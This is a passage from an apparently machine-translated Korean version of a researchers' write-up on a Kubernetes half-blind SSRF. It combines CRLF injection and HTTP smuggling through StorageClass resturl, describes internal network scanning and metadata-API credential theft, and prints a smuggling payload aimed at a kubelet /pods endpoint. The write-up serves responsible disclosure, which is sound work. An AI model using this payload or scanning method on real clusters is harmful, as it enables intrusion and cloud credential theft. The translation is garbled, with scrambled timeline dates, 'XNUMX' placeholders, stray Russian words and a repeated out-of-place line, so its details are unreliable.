  • ๋‚˜๊ฐ€๋Š” ์š”์ฒญ์— HTTP ํ—ค๋”๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.
  • ๋ณธ๋ฌธ์— ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ํฌํ•จ๋œ POST ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์—†์Œ(์ด๋Š” ์‹คํ–‰ ์ค‘์ธ etcd ์ธ์Šคํ„ด์Šค์—์„œ ํ‚ค ๊ฐ’์„ ์š”์ฒญํ•˜๋Š” ๋ฐ ํŽธ๋ฆฌํ•จ) 2379 ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ HTTP๊ฐ€ ์‚ฌ์šฉ๋˜๋Š” ๊ฒฝ์šฐ ํฌํŠธ).
  • ์ƒํƒœ ์ฝ”๋“œ๊ฐ€ 200์ด๊ณ  ์‘๋‹ต์— JSON ์ฝ˜ํ…์ธ  ์œ ํ˜•์ด ์—†์œผ๋ฉด ์‘๋‹ต ๋ณธ๋ฌธ ์ฝ˜ํ…์ธ ๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

๊ณ ๊ธ‰ ์‹œ๋‚˜๋ฆฌ์˜ค #2: ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ ๊ฒ€์ƒ‰

๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด ๋ฐ˜๋งน๊ฒ€ SSRF ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ ํด๋ผ์šฐ๋“œ ๊ณต๊ธ‰์ž์˜ ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ๋ฅผ ์Šค์บ”ํ•˜๊ณ  ์‘๋‹ต์„ ๊ธฐ๋ฐ˜์œผ๋กœ ๋‹ค์–‘ํ•œ ์ฒญ์ทจ ์„œ๋น„์Šค(๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์ธ์Šคํ„ด์Šค, Kubelet ๋“ฑ)๋ฅผ ํด๋งํ–ˆ์Šต๋‹ˆ๋‹ค. ํ๋ธŒ ์ปจํŠธ๋กค๋Ÿฌ.

Kubernetes ์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ฒƒ์ด ์•„๋‹ ๋•Œ...

๋จผ์ € Kubernetes ๊ตฌ์„ฑ ์š”์†Œ์˜ ํ‘œ์ค€ ์ˆ˜์‹  ํฌํŠธ(8443, 10250, 10251 ๋“ฑ)๋ฅผ ๊ฒฐ์ •ํ•œ ๋‹ค์Œ ๊ฒ€์ƒ‰ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ž๋™ํ™”ํ•ด์•ผ ํ–ˆ์Šต๋‹ˆ๋‹ค.

๋ฆฌ์†Œ์Šค๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋Š” ์ด ๋ฐฉ๋ฒ•์€ ๋งค์šฐ ๊ตฌ์ฒด์ ์ด๊ณ  ๊ธฐ์กด ์Šค์บ๋„ˆ ๋ฐ SSRF ๋„๊ตฌ์™€ ํ˜ธํ™˜๋˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์ ์„ ํ™•์ธํ•˜์—ฌ ์ „์ฒด ํ”„๋กœ์„ธ์Šค๋ฅผ ์ž๋™ํ™”ํ•˜๋Š” bash ์Šคํฌ๋ฆฝํŠธ์—์„œ ์ž์ฒด ์ž‘์—…์ž๋ฅผ ๋งŒ๋“ค๊ธฐ๋กœ ๊ฒฐ์ •ํ–ˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ์˜ 172.16.0.0/12 ๋ฒ”์œ„๋ฅผ ๋น ๋ฅด๊ฒŒ ์Šค์บ”ํ•˜๊ธฐ ์œ„ํ•ด 15๊ฐœ์˜ ์›Œ์ปค๊ฐ€ ๋ณ‘๋ ฌ๋กœ ์‹œ์ž‘๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์œ„ IP ๋ฒ”์œ„๋Š” ์˜ˆ์‹œ์ผ ๋ฟ์ด๋ฉฐ ํŠน์ • ์„œ๋น„์Šค ์ œ๊ณต์—…์ฒด์˜ IP ๋ฒ”์œ„์— ๋”ฐ๋ผ ๋ณ€๊ฒฝ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•˜๋‚˜์˜ IP ์ฃผ์†Œ์™€ ํ•˜๋‚˜์˜ ํฌํŠธ๋ฅผ ์Šค์บ”ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  • ๋งˆ์ง€๋ง‰์œผ๋กœ ํ™•์ธํ•œ StorageClass๋ฅผ ์‚ญ์ œํ•ฉ๋‹ˆ๋‹ค.
  • ์ด์ „์— ํ™•์ธ๋œ ์˜๊ตฌ ๋ณผ๋ฅจ ์‹ ์ฒญ์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.
  • IP ๋ฐ ํฌํŠธ ๊ฐ’์„ ๋ณ€๊ฒฝํ•˜์‹ญ์‹œ์˜ค. sc.yaml;
  • ์ƒˆ๋กœ์šด IP์™€ ํฌํŠธ๋กœ StorageClass๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • ์ƒˆ๋กœ์šด PVC๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • PVC์— ๋Œ€ํ•œ ์„ค๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ ์Šค์บ” ๊ฒฐ๊ณผ๋ฅผ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค.

๊ณ ๊ธ‰ ์‹œ๋‚˜๋ฆฌ์˜ค #3: CRLF ์ฃผ์ž… + Kubernetes ํด๋Ÿฌ์Šคํ„ฐ์˜ "์ด์ „" ๋ฒ„์ „์—์„œ HTTP ๋ฐ€์ˆ˜

์ด ์™ธ์—๋„ ๊ณต๊ธ‰์ž๊ฐ€ ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ K8s ํด๋Ÿฌ์Šคํ„ฐ์˜ ์ด์ „ ๋ฒ„์ „์„ ์ œ๊ณตํ•œ ๊ฒฝ์šฐ ะธ kube-controller-manager์˜ ๋กœ๊ทธ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜์ž ๊ทธ ํšจ๊ณผ๋Š” ํ›จ์”ฌ ๋” ์ปค์กŒ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์žฌ๋Ÿ‰์— ๋”ฐ๋ผ ์ „์ฒด HTTP ์‘๋‹ต์„ ์–ป๋„๋ก ์„ค๊ณ„๋œ HTTP ์š”์ฒญ์„ ๋ณ€๊ฒฝํ•˜๋Š” ๊ฒƒ์ด ์‹ค์ œ๋กœ ํ›จ์”ฌ ๋” ํŽธ๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

Kubernetes ์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ฒƒ์ด ์•„๋‹ ๋•Œ...

๋งˆ์ง€๋ง‰ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ๊ตฌํ˜„ํ•˜๋ ค๋ฉด ๋‹ค์Œ ์กฐ๊ฑด์ด ์ถฉ์กฑ๋˜์–ด์•ผ ํ–ˆ์Šต๋‹ˆ๋‹ค.

  • ์‚ฌ์šฉ์ž๋Š” kube-controller-manager ๋กœ๊ทธ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค ๊ถŒํ•œ์ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: Azure LogInsights์—์„œ).
  • Kubernetes ํด๋Ÿฌ์Šคํ„ฐ๋Š” 1.12๋ณด๋‹ค ๋‚ฎ์€ Golang ๋ฒ„์ „์„ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

GlusterFS Go ํด๋ผ์ด์–ธํŠธ์™€ ๊ฐ€์งœ ๋Œ€์ƒ ์„œ๋ฒ„ ๊ฐ„์˜ ํ†ต์‹ ์„ ์‹œ๋ฎฌ๋ ˆ์ด์…˜ํ•˜๋Š” ๋กœ์ปฌ ํ™˜๊ฒฝ์„ ๋ฐฐํฌํ–ˆ์Šต๋‹ˆ๋‹ค(๋‹น๋ถ„๊ฐ„ PoC ๊ฒŒ์‹œ๋Š” ์ž์ œํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค).

๋ฐœ๊ฒฌ ์ทจ์•ฝ์ , 1.12๋ณด๋‹ค ๋‚ฎ์€ Golang ๋ฒ„์ „์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๊ณ  ํ•ด์ปค๊ฐ€ HTTP ๋ฐ€์ˆ˜/CRLF ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

์œ„์—์„œ ์„ค๋ช…ํ•œ ํ•˜ํ”„ ๋ธ”๋ผ์ธ๋“œ SSRF๋ฅผ ๊ฒฐํ•ฉํ•˜์—ฌ ะฒะผะตัั‚ะต ์ด๋ฅผ ํ†ตํ•ด ์šฐ๋ฆฌ๋Š” ํ—ค๋”, HTTP ๋ฉ”์†Œ๋“œ, ๋งค๊ฐœ๋ณ€์ˆ˜ ๋ฐ ๋ฐ์ดํ„ฐ ๊ต์ฒด๋ฅผ ํฌํ•จํ•˜์—ฌ ์›ํ•˜๋Š” ๋Œ€๋กœ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์—ˆ๊ณ  ์ด๋ฅผ kube-controller-manager๊ฐ€ ์ฒ˜๋ฆฌํ–ˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ์€ ๋งค๊ฐœ๋ณ€์ˆ˜์—์„œ ์ž‘๋™ํ•˜๋Š” "๋ฏธ๋ผ"์˜ ์˜ˆ์ž…๋‹ˆ๋‹ค. resturl ์œ ์‚ฌํ•œ ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ๊ตฌํ˜„ํ•˜๋Š” StorageClass:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

๊ฒฐ๊ณผ๋Š” ์˜ค๋ฅ˜์ž…๋‹ˆ๋‹ค ์›์น˜ ์•Š๋Š” ์‘๋‹ต, ์ปจํŠธ๋กค๋Ÿฌ ๋กœ๊ทธ์— ๊ธฐ๋ก๋˜๋Š” ๋ฉ”์‹œ์ง€์ž…๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋œ ์ž์„ธํ•œ ์ •๋ณด ๋•๋ถ„์— HTTP ์‘๋‹ต ๋ฉ”์‹œ์ง€์˜ ๋‚ด์šฉ๋„ ์—ฌ๊ธฐ์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค.

Kubernetes ์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ฒƒ์ด ์•„๋‹ ๋•Œ...

์ด๋Š” ๊ฐœ๋… ์ฆ๋ช… ํ”„๋ ˆ์ž„์›Œํฌ ๋‚ด์—์„œ ๊ฐ€์žฅ ํšจ๊ณผ์ ์ธ "๋ฏธ๋ผ"์˜€์Šต๋‹ˆ๋‹ค.

์ด ์ ‘๊ทผ ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค์–‘ํ•œ ๊ด€๋ฆฌํ˜• k8s ๊ณต๊ธ‰์ž์˜ ํด๋Ÿฌ์Šคํ„ฐ์— ๋Œ€ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ณต๊ฒฉ ์ค‘ ์ผ๋ถ€๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์ธ์Šคํ„ด์Šค์— ๋Œ€ํ•œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•œ ๊ถŒํ•œ ์ƒ์Šน, etcd ๋งˆ์Šคํ„ฐ ์ธ์Šคํ„ด์Šค์— ๋Œ€ํ•œ (์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€) HTTP ์š”์ฒญ์„ ํ†ตํ•œ ๋งˆ์Šคํ„ฐ DoS ๋“ฑ.

์—ฌํŒŒ

์šฐ๋ฆฌ๊ฐ€ ๋ฐœ๊ฒฌํ•œ SSRF ์ทจ์•ฝ์ ์— ๊ด€ํ•œ Kubernetes ๊ณต์‹ ์„ฑ๋ช…์—์„œ๋Š” ๋“ฑ๊ธ‰์ด ๋งค๊ฒจ์กŒ์Šต๋‹ˆ๋‹ค. CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Kubernetes ๊ฒฝ๊ณ„์™€ ๊ด€๋ จ๋œ ์ทจ์•ฝ์ ๋งŒ ๊ณ ๋ คํ•˜๋ฉด ๋ฌด๊ฒฐ์„ฑ ๋ฒกํ„ฐ (๋ฌด๊ฒฐ์„ฑ ๋ฒกํ„ฐ) ๊ทธ๊ฒƒ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ž๊ฒฉ์ด ์žˆ์Šต๋‹ˆ๋‹ค ์—†์Œ.

๊ทธ๋Ÿฌ๋‚˜ ๊ด€๋ฆฌํ˜• ์„œ๋น„์Šค ํ™˜๊ฒฝ์˜ ๋งฅ๋ฝ์—์„œ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฐ๊ณผ๋ฅผ ํ‰๊ฐ€ํ•œ ๊ฒฐ๊ณผ(์ด๊ฒƒ์ด ์šฐ๋ฆฌ ์—ฐ๊ตฌ์—์„œ ๊ฐ€์žฅ ํฅ๋ฏธ๋กœ์šด ๋ถ€๋ถ„์ด์—ˆ์Šต๋‹ˆ๋‹ค!) ์ทจ์•ฝ์„ฑ์„ ๋“ฑ๊ธ‰์œผ๋กœ ์žฌ๋ถ„๋ฅ˜ํ•˜๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ค‘์š” CVSS10/10 ๋งŽ์€ ์œ ํ†ต์—…์ฒด๋ฅผ ์œ„ํ•ด.

๋‹ค์Œ์€ ํด๋ผ์šฐ๋“œ ํ™˜๊ฒฝ์˜ ์ž ์žฌ์  ์˜ํ–ฅ์„ ํ‰๊ฐ€ํ•  ๋•Œ ๊ณ ๋ ค ์‚ฌํ•ญ์„ ์ดํ•ดํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋˜๋Š” ์ถ”๊ฐ€ ์ •๋ณด์ž…๋‹ˆ๋‹ค.

๋ฌด๊ฒฐ์„ฑ

  • ํš๋“ํ•œ ๋‚ด๋ถ€ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ ์›๊ฒฉ์œผ๋กœ ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  • ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ์—์„œ ๋ฐœ๊ฒฌ๋œ ๋‹ค๋ฅธ ๋ฆฌ์†Œ์Šค์™€ ํ•จ๊ป˜ IDOR(Insecure Direct Object Reference) ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ ์œ„ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์žฌํ˜„ํ•ฉ๋‹ˆ๋‹ค.

ะšะพะฝั„ะธะดะตะฝั†ะธะฐะปัŒะฝะพัั‚ัŒ

  • ๊ณต๊ฒฉ ์œ ํ˜• ์ธก๋ฉด ์šด๋™ ํด๋ผ์šฐ๋“œ ์ž๊ฒฉ ์ฆ๋ช…(์˜ˆ: ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ API) ๋„๋‚œ์œผ๋กœ ์ธํ•ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
  • ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ๋ฅผ ์Šค์บ”ํ•˜์—ฌ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค(SSH ๋ฒ„์ „, HTTP ์„œ๋ฒ„ ๋ฒ„์ „ ๋“ฑ ํ™•์ธ).
  • ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ API์™€ ๊ฐ™์€ ๋‚ด๋ถ€ API๋ฅผ ํด๋งํ•˜์—ฌ ์ธ์Šคํ„ด์Šค ๋ฐ ์ธํ”„๋ผ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค(http://169.254.169.254,โ€ฆ).
  • ํด๋ผ์šฐ๋“œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ณ ๊ฐ ๋ฐ์ดํ„ฐ๋ฅผ ํ›”์นฉ๋‹ˆ๋‹ค.

๊ฐ€์šฉ์„ฑ

๊ณต๊ฒฉ ๋ฒกํ„ฐ์™€ ๊ด€๋ จ๋œ ๋ชจ๋“  ์•…์šฉ ์‹œ๋‚˜๋ฆฌ์˜ค ์ง„์‹ค์„ฑ, ํŒŒ๊ดด์ ์ธ ์ž‘์—…์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ ํด๋ผ์ด์–ธํŠธ ๊ฒฝ๊ณ„(๋˜๋Š” ๊ธฐํƒ€)์˜ ๋งˆ์Šคํ„ฐ ์ธ์Šคํ„ด์Šค๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๊ฒŒ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์šฐ๋ฆฌ๋Š” ๊ด€๋ฆฌํ˜• K8s ํ™˜๊ฒฝ์—์„œ ๋ฌด๊ฒฐ์„ฑ์— ๋Œ€ํ•œ ์˜ํ–ฅ์„ ํ‰๊ฐ€ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€์šฉ์„ฑ์— ์˜ํ–ฅ์„ ๋ฏธ์น  ์ˆ˜ ์žˆ๋Š” ๋งŽ์€ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์ƒ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€ ์˜ˆ๋กœ๋Š” etcd ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์†์ƒ ๋˜๋Š” Kubernetes API์— ๋Œ€ํ•œ ์ค‘์š”ํ•œ ํ˜ธ์ถœ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

ํƒ€์ž„ ๋ผ์ธ

  • 6๋…„ 2019์›” XNUMX์ผ: ์ทจ์•ฝ์„ฑ์ด MSRC Bug Bounty์— ๋ณด๊ณ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • 3๋…„ 2020์›” XNUMX์ผ: ์ œXNUMX์ž๊ฐ€ Kubernetes ๊ฐœ๋ฐœ์ž์—๊ฒŒ ์šฐ๋ฆฌ๊ฐ€ ๋ณด์•ˆ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด ๋…ธ๋ ฅํ•˜๊ณ  ์žˆ๋‹ค๊ณ  ์•Œ๋ ธ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  SSRF๋ฅผ ๋‚ด๋ถ€(ํ•ต์‹ฌ) ์ทจ์•ฝ์ ์œผ๋กœ ๊ฐ„์ฃผํ•˜๋„๋ก ์š”์ฒญํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ๋ฌธ์ œ์˜ ์›์ธ์— ๋Œ€ํ•œ ๊ธฐ์ˆ ์ ์ธ ์„ธ๋ถ€ ์ •๋ณด๊ฐ€ ํฌํ•จ๋œ ์ผ๋ฐ˜ ๋ณด๊ณ ์„œ๋ฅผ ์ œ๊ณตํ–ˆ์Šต๋‹ˆ๋‹ค.
  • 15๋…„ 2020์›” XNUMX์ผ: Kubernetes ๊ฐœ๋ฐœ์ž์˜ ์š”์ฒญ์— ๋”ฐ๋ผ HackerOne ํ”Œ๋žซํผ์„ ํ†ตํ•ด ๊ธฐ์ˆ  ๋ฐ ์ผ๋ฐ˜ ๋ณด๊ณ ์„œ๋ฅผ ์ œ๊ณตํ–ˆ์Šต๋‹ˆ๋‹ค.
  • 15๋…„ 2020์›” 8์ผ: Kubernetes ๊ฐœ๋ฐœ์ž๋Š” ์ด์ „ ๋ฆด๋ฆฌ์Šค์˜ ๋ฐ˜๋งน๊ฒ€ SSRF + CRLF ์ฃผ์ž…์ด ํ•ต์‹ฌ ์ทจ์•ฝ์ ์œผ๋กœ ๊ฐ„์ฃผ๋œ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์šฐ๋ฆฌ์—๊ฒŒ ์•Œ๋ ธ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ์ฆ‰์‹œ ๋‹ค๋ฅธ ์„œ๋น„์Šค ์ œ๊ณต์—…์ฒด์˜ ๊ฒฝ๊ณ„ ๋ถ„์„์„ ์ค‘๋‹จํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด์ œ KXNUMXs ํŒ€์ด ๊ทผ๋ณธ ์›์ธ์„ ์ฒ˜๋ฆฌํ•˜๊ณ  ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.
  • 15๋…„ 2020์›” XNUMX์ผ: HackerOne์„ ํ†ตํ•ด MSRC ๋ณด์ƒ์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค.
  • 16๋…„ 2020์›” XNUMX์ผ: Kubernetes PSC(์ œํ’ˆ ๋ณด์•ˆ ์œ„์›ํšŒ)๋Š” ์ทจ์•ฝ์ ์„ ์ธ์‹ํ•˜๊ณ  ์ž ์žฌ์  ํ”ผํ•ด์ž๊ฐ€ ๋งŽ์œผ๋ฏ€๋กœ XNUMX์›” ์ค‘์ˆœ๊นŒ์ง€ ๋น„๋ฐ€๋กœ ์œ ์ง€ํ•ด ์ค„ ๊ฒƒ์„ ์š”์ฒญํ–ˆ์Šต๋‹ˆ๋‹ค.
  • 11๋…„ 2020์›” XNUMX์ผ: Google VRP ๋ณด์ƒ์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค.
  • 4๋…„ 2020์›” XNUMX์ผ: HackerOne์„ ํ†ตํ•ด Kubernetes ๋ณด์ƒ์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค.
  • 15๋…„ 2020์›” 19์ผ: ์ฝ”๋กœ๋‚˜XNUMX ์ƒํ™ฉ์œผ๋กœ ์ธํ•ด ์›๋ž˜ ๊ณต๊ฐœ ์˜ˆ์ •์ด์—ˆ๋˜ ๊ณต๊ฐœ๊ฐ€ ์—ฐ๊ธฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • 1๋…„ 2020์›” XNUMX์ผ: ์ทจ์•ฝ์„ฑ์— ๋Œ€ํ•œ Kubernetes + Microsoft ๊ณต๋™ ์„ฑ๋ช….

TL; DR

  • ๋งฅ์ฃผ๋„ ๋งˆ์‹œ๊ณ  ํ”ผ์ž๋„ ๋จน๊ณ  :)
  • ์šฐ๋ฆฌ๋Š” ๊ทธ๋ ‡๊ฒŒ ํ•  ์˜๋„๊ฐ€ ์—†์—ˆ์ง€๋งŒ Kubernetes์—์„œ ํ•ต์‹ฌ ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.
  • ์šฐ๋ฆฌ๋Š” ๋‹ค์–‘ํ•œ ํด๋ผ์šฐ๋“œ ์ œ๊ณต์—…์ฒด์˜ ํด๋Ÿฌ์Šคํ„ฐ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ๋ถ„์„์„ ์ˆ˜ํ–‰ํ–ˆ์œผ๋ฉฐ ์ทจ์•ฝ์ ์œผ๋กœ ์ธํ•œ ํ”ผํ•ด๋ฅผ ์ฆ๊ฐ€์‹œ์ผœ ์ถ”๊ฐ€์ ์ธ ๋ฉ‹์ง„ ๋ณด๋„ˆ์Šค๋ฅผ ๋ฐ›์„ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.
  • ์ด ๊ธฐ์‚ฌ์—์„œ ๋งŽ์€ ๊ธฐ์ˆ ์  ์„ธ๋ถ€ ์‚ฌํ•ญ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ๋‹น์‹ ๊ณผ ํ•จ๊ป˜ ์ด ๋ฌธ์ œ์— ๋Œ€ํ•ด ๊ธฐ๊บผ์ด ๋…ผ์˜ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค(Twitter: @ReeverZax & @__hach_).
  • ๋ชจ๋“  ์ข…๋ฅ˜์˜ ์ ˆ์ฐจ์™€ ๋ณด๊ณ ์— ์˜ˆ์ƒ๋ณด๋‹ค ํ›จ์”ฌ ์˜ค๋žœ ์‹œ๊ฐ„์ด ๊ฑธ๋ ธ๋‹ค๋Š” ์‚ฌ์‹ค์ด ๋ฐํ˜€์กŒ์Šต๋‹ˆ๋‹ค.

์ฐธ์กฐ

๋ฒˆ์—ญ๊ฐ€์˜ ์ถ”์‹ 

๋ธ”๋กœ๊ทธ์—์„œ๋„ ์ฝ์–ด๋ณด์„ธ์š”.

์ถœ์ฒ˜ : habr.com

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€